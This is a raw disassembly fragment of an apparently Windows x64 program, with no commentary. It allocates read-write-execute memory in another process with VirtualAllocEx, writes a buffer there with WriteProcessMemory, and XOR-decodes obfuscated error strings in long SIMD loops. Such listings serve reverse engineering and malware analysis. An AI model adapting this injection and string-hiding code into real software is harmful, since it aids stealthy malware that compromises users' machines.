jge 0x140234f7a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x1a
jl 0x140234f30
lea rcx, [rsp + 0x68]
mov edx, r10d
call fcn.1401ba4b0
mov rdx, qword [rbp - 0x50]
xor r8d, r8d
mov r9d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140238db7
mov r9d, 0x40
mov qword [rsp + 0x20], rbx
lea r8, [rbp - 0x30]
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1402352b5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x140271d21], bl
mov r10d, eax
movups xmm0, xmmword [0x140271d08]
movzx ecx, word [0x140271d20]
mov word [rbp - 0x80], cx
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140271d18]
movsd qword [rsp + 0x78], xmm0
je 0x14023528a
cmp dword [0x140284008], 2
jl 0x14023522e
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
mov r14d, 5
movdqa xmm6, xmmword [0x140272900]
mov r15d, 6
movdqa xmm7, xmmword [0x140272910]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140235070
cmp eax, 0x1a
jge 0x14023528a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x1a
jl 0x140235240
lea rcx, [rsp + 0x68]
mov edx, r10d
call fcn.1401ba4b0
mov rdx, qword [rbp - 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rdi
jmp 0x140234f8b
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x40], rax
mov rsi, rax
test rax, rax
jne 0x1402355c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x140284008], 2
mov r10d, eax
movups xmm0, xmmword [0x140271ca8]
mov ecx, dword [0x140271cd0]
movups xmm1, xmmword [0x140271cb8]
mov dword [rbp - 0x70], ecx
movzx ecx, word [0x140271cd4]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x6c], cx
movsd xmm0, qword [0x140271cc8]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
jl 0x14023555e
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
mov r14d, 5
movdqa xmm6, xmmword [0x140272900]
mov r15d, 6
movdqa xmm7, xmmword [0x140272910]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm2, xmm6
pmuldq xmm4, xmm7
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm5
shufps xmm4, xmm1, 0xdd
psrad xmm2, xmm10
psubd xmm4, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x28
jl 0x1402353a0
cmp eax, 0x2e
jge 0x1402355ba
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x2e
jl 0x140235570
lea rcx, [rsp + 0x68]
jmp 0x14023528f
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
lea r8, [0x140238e20]
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1402358ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x140272013], bl
mov r10d, eax
movups xmm0, xmmword [0x140271ff8]
mov ecx, dword [0x140272010]
mov dword [rbp - 0x80], ecx
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140272008]
movsd qword [rsp + 0x78], xmm0
je 0x1402358aa
cmp dword [0x140284008], 2
jl 0x140235850
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
mov r14d, 5
movdqa xmm6, xmmword [0x140272900]
mov r15d, 6
movdqa xmm7, xmmword [0x140272910]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140235692
cmp eax, 0x1c
jge 0x1402358aa
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x1c
jl 0x140235860
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
mov rdx, qword [rbp - 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rsi
jmp 0x140234f8b
cmp byte [0x140271f11], bl
mov r14d, 5
movups xmm0, xmmword [0x140271f00]
movzx eax, word [0x140271f10]
mov esi, dword [0x140284008]
lea r15d, [r14 + 1]
mov word [rsp + 0x60], ax
lea r12d, [r14 + 0x1a]
movups xmmword [rsp + 0x50], xmm0
je 0x140235ba0
mov r9d, ebx
cmp esi, 2
jl 0x140235b41
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140235980
cmp r9d, 0x12
jge 0x140235ba0
movsxd rax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x12
jl 0x140235b50
mov rdi, qword [rbp - 0x50]
lea rcx, [rsp + 0x50]
mov rdx, rdi
call fcn.1401ba4b0
cmp byte [0x140271e43], bl
movups xmm0, xmmword [0x140271e30]
mov eax, dword [0x140271e40]
mov dword [rsp + 0x60], eax
movups xmmword [rsp + 0x50], xmm0
je 0x140235e50
mov r9d, ebx
cmp esi, 2
jl 0x140235df1
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140235c30
cmp r9d, 0x14
jge 0x140235e50
movsxd rax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x14
jl 0x140235e00
mov rdx, qword [rbp - 0x48]
lea rcx, [rsp + 0x50]
call fcn.1401ba4b0
cmp byte [0x140272029], bl
movups xmm0, xmmword [0x140272018]
movzx eax, word [0x140272028]
mov word [rsp + 0x60], ax
movups xmmword [rsp + 0x50], xmm0
je 0x140236100
mov r9d, ebx
cmp esi, 2
jl 0x1402360a1
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140235ee0
cmp r9d, 0x12
jge 0x140236100
movsxd rax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x12
jl 0x1402360b0
mov rdx, qword [rbp - 0x40]
lea rcx, [rsp + 0x50]
call fcn.1401ba4b0
movups xmm0, xmmword [str._a_3_k__66__9Ua_n1__q96_2__fie]
movups xmmword [rsp + 0x50], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1402363b0
cmp esi, 2
jl 0x14023634b
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x140272810]
mov edx, ebx
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, edx
lea eax, [rdx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
